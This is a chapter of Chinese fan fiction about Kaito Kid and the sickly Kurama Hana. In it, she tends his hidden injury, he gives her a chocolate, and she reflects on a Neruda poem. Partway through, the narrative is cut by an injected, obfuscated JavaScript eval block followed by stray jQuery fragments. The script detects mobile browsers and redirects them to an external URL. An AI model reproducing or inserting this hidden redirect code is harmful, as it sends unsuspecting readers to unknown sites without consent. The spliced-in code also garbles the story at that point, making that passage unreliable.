7. 白昼落进

作品:《[柯南/怪盗基德]窥花者

    应当如何形容那被魔法袭击的痛苦呢?


    锥心刺骨,体无完肤。


    那是几乎能淹没理智的疼痛。


    黑羽快斗不受控的伸出手,看着眼前本就病弱的少女居然攀上高高的窗檐,只为与他见面。


    裸露的指腹贴着柔软的手套布质,轻轻的落在少女明亮的眼帘之上。


    “笨蛋。”


    他轻轻的,带着不可置否的喜悦,轻轻的扬起了嘴角。


    明明不应当喜悦,柔弱的她不顾身体安危的做出这等危险的举动。


    月下魔术师再次低下身,在少女几分未能反应过来的诧异之中,借以魔术的名义有了迄今为止最近的触碰。


    轻轻的怀抱住她柔弱的身体,鼻间嗅得少女所特有的几分淡的药草香,在耳畔燃起似能引起火灾的滚烫中,他将她带回了温暖的房间。


    当白色的披风掀开,白色的日光灯落入仓间花稍稍眯起的眼,她发觉刚刚还站在窗台的自己此时已置身于房间之内。


    她又低头看着周身,是没有任何道具的痕迹。


    又轻轻的,将纤细的手指弯曲。


    冰冷或是滚烫,她记得关于某个瞬间的触感。


    “基德先生。”


    侧过头,她看向依然站在窗台边上的怪盗基德,他似乎马上准备离开。


    “早点休息,美丽的小姐。”


    黑羽快斗低了些头,嘴角依旧勾起一贯自信且肆意妄为微笑,半支撑式的将手放在窗框边,依旧站直着身,看起来就如同往常一般。


    在帽檐下方,黑色碎发贴着流着冷汗的肌肤,他多少有些不平稳的颤抖。


    刚刚抱她时多少牵扯疼痛的肌肤,如果继续待下去,他真的就要暴露了。


    在他打算转身再次使用滑翔翼时却感觉斗篷的一角似被轻轻拉动。


    他低头一看,是仓间花抓住了他斗篷的一角。


    “基德先生。”


    她抬起头,柔软的脸上似浮现出难得的凝重,像迷路的孩童寻着方向般认真的望着他。


    “可以蹲下来一下吗?”


    她小心的询问。


    而他下一秒就听话的单膝跪在窗台。


    毕竟是在窗台上,她还是抬了些头望着他。


    在还低着些头来掩藏眸中的克制与疼痛时,习惯冰冷的脸庞迟缓的传来不属于自己的温热让他一愣。


    他些许困惑与复杂的抬眼,正对上了她认真澄澈的目光。


    一米的距离。


    她抬高些纤瘦的手臂,伸出手轻轻的抚上他冰冷得留着冷汗的左边脸,指腹擦过皮肤,滚烫的温度直直的向心脏发动侵袭。


    “果然。”


    她轻轻的开口,好看的眉宇皱起了担心的神采。


    “您受伤了。”


    话语微凉,迟一步落入他的耳朵。


    那是过于突然的触碰,黑羽快斗就那样如同宕机的电脑般迟钝的望着她。


    应当如何形容那见到仓间花的心情呢?


    天翻地覆,万籁俱寂。


    那是能忍受所有剧痛的温暖。


    自从代替父亲成为了游走黑夜的张狂的怪盗基德以后,黑羽快斗就有了所有的觉悟。


    无论是隐瞒亲密的人伪装,被人不理解的责骂,还是每次必经的与警方的惊险争斗,那都是必定会经历的,更何况最基础的不可避免的受伤。


    但在此刻,从不觉得受伤是多大事情的黑羽快斗竟开始无比怨恼起自己来了。


    她担心了。


    居然让她担心了。


    他手指一颤,舔了舔干涩的唇,心想要不要变个小魔术来转移她的注意来不让她这般担心的看着自己。


    但手还没来及抬起,就见仓间花似想起什么般的收回手,慌慌的走到了门口,又意识到自己忘记告知去向,便又侧过头说。


    “基德先生,您等一下,我这就去拿医药箱。”


    清瘦的身影小心的出门并合上,目睹所有的黑羽快斗一愣,那是他罕见的见到优雅的仓间花露出的慌张一面。


    本抿紧的嘴角轻轻呼出一口气,放松了几分的靠在窗栏,果然他是真的让她担心了啊。


    “喵呜~”


    慵懒的猫叫在不远处响起,黑羽快斗循声望去,看见了正躺在猫窝惬意的抖着脑袋的波斯猫。


    “真羡慕你,能一直陪着她。”


    不像怪盗的磁性与张扬,这句话只不过是用少年本来的语调说出来,带着清浅的温柔。


    下一秒,他动了动肩膀,咬牙按下确定好的滑翔翼,忍着身体的疼痛飞向了无比黑暗的天空。


    怪盗基德,是不可以暴露任何伤处脆弱的。


    哪怕在喜欢的少女面前。


    忍着疼痛终于飞回到家了的黑羽快斗将外敷内服的药都用上了。


    魔法所造成的伤完全没有痕迹,但疼痛却是无比刺骨,在疼痛稍解以后,他坐靠在床上,多少有些松了口气。


    窗外的月光借着白雪的反衬,透过没被窗帘盖住的窗户,静静的落在桌边那蓝色的小礼盒上。


    侧过头的黑羽快斗眸光闪烁,伸出手将小礼盒拿过并小心翼翼的拆开。


    在打开盖子时,不过板栗大小的巧克力立于中间,他两指拿起,在巧克力上刻着三个字母:KID。


    他一愣,意识到这是仓间花第一次给人送出巧克力。


    敛下眸,他轻轻咬了一口,蛀牙还在隐隐作痛着,月光下的少年却露出了无比甜蜜的笑容。


    -


    “花小姐,您哪里不舒服吗?”


    大小姐拿医药箱的举动引起贴身女佣樱子的注意,在仓间花准备回房间时,她一脸严肃的拦住了她。


    仓间花将医药箱遮在身后,露出乖巧的笑容说。


    “啊,没有啊。”


    而女佣樱子则是将目光落在她的身后,并慢慢走过去接过医药箱。


    看着仓间花那紧张兮兮的模样,女佣樱子无奈的叹了口气,示意旁边的女佣离开,然后低声担心的问。


    “花小姐,是不是之前偷偷做巧克力的时候弄哪里了?。”


    就在前天,对情人节这些西方节日从没有什么兴趣的仓间大小姐偷偷拉着她说想要亲自做个巧克力。


    而作为仓间小姐最信任的贴身女佣樱子很有义务满足这个从小看到大的小姐。


    况且,根据前几天来的仓间大小姐与白马小少爷当时的相处情况来看,她家小姐的巧克力极有可能就是送给他的。


    为了小姐的幸福,在守护小姐的安全前提下,樱子很有必要进行掩护的帮忙了。


    现在回想起来,虽然都已经非常小心了,万一仓间大小姐怕别人担心而忍住就很不好了。


    “没有。”


    仓间花干笑着摇了摇头,看着已经在樱子手上的医药箱,只得放弃拿它进房间的想法,摆摆手说自己先回房间。


    在樱子的密切关注下,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172656|165168||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    仓间花回了房间关好门,并有些庆幸的呼了口气,还好贴身女佣也不能跟到房间里来。


    这般想着,她一边走向窗边一边从衣服口袋拿出之前提前放进口袋的药。


    但当她拿出药想要给受伤的怪盗时,却发现一张表明离开的白色卡片。


    拿起白色卡片的仓间花稍稍愣了一下,随后将药都放在窗边,眉间松下几分,低眸呢喃道。


    “是我太失态了,竟忘了那是怪盗先生。”


    他是那个在月下华丽的怪盗,是警察们争破头脑想要抓住的天才罪犯,如果让人看到自己的伤处,就像被人看到裂痕的钻石,让人对他的强大猜测怀疑,甚至毫不留情的诋毁。


    行走刀刃的怪盗,必须是永远强大的模样。


    仓间花侧了些头,几分风刮过脸,乌云遮半的月显得几分孤独,皑皑白雪的晶莹,也温柔不了的那份孤独。


    伸手将窗户关好,她将放在桌边的书拿起,一边翻看一边走向床。


    钟表已经快指到凌晨一点,她坐靠着着床轻轻翻动这本书籍。


    “喵呜~”


    感觉床角有细微动静,她低下头一看,是在努力爬着床脚的奶糖,她无奈的笑了笑,又下床将小胖猫抱上床尾处。


    “果然,天一冷奶糖就想爬床上来睡。”


    坐回自己的位置,仓间花轻笑着看着在床上滚了滚的小胖猫,话语带着几分笑音。


    忽的,她似想起什么的曲起腿,书放于膝间,她手撑着右半边脸,目光认真些许的看着胖胖的波斯猫。


    “说起来,白马就眼光这方面还算可以,我当时看见你的时候真的喜欢的不得了。”


    本着不大想与幼时这位高傲的小少爷见面的原则,一而再三的有过推辞,唯一一次答应也是因为对他送来的宠物喜欢的不行。


    好像有听女佣们说过,他自己也有养一只名叫华生的鹰。


    想起这,仓间花表情多少有些无语,果然,跟小时候完全一样的性格,高傲自大。


    “对于怪盗基德这种天才罪犯,还是要赶紧抓住才好。”


    脑海里想起之前白马探意味深长的话语,微微蹙眉,她伸手揉了揉额头,又无奈的呼出一口气。


    她当然知道他那句话是在试探她关于那次似乎帮助了基德逃脱的事情。


    若是以往,作为格斗家与科学家的女儿,身体里流着的便是不愿姑息的血液,无论谎言还是偷窃,她向来为之不耻。


    但对于那位孤独的怪盗,以强势的姿态降临时,她只觉黑夜明亮,束缚碎裂,她窥见了光明。


    真惭愧呐。


    向来不愿姑息罪犯的她居然为了稀释孤独,对于偶然落在窗边的怪盗寄予了希望。


    人们善用月下魔术师来形容这位怪盗,于仓间花而言,他像是落入枯井的白昼。


    或许,你可曾听过那首诗,那首仓间花无比热爱的诗。


    如果白昼落进


    文/〔智利〕聂鲁达


    每个白昼


    都要落进黑沉沉的夜


    像有那么一口井


    锁住了光明


    必须坐在


    黑洞洞的井口


    要很有耐心


    打捞掉落下去的光明


    仓间花一直以为自己所处的这口黑沉沉的井不会见白昼,但于冬雪之日,她看见了落入黑夜的白昼。


    在深不见底的井中,她想要努力的抓住白昼般的基德先生。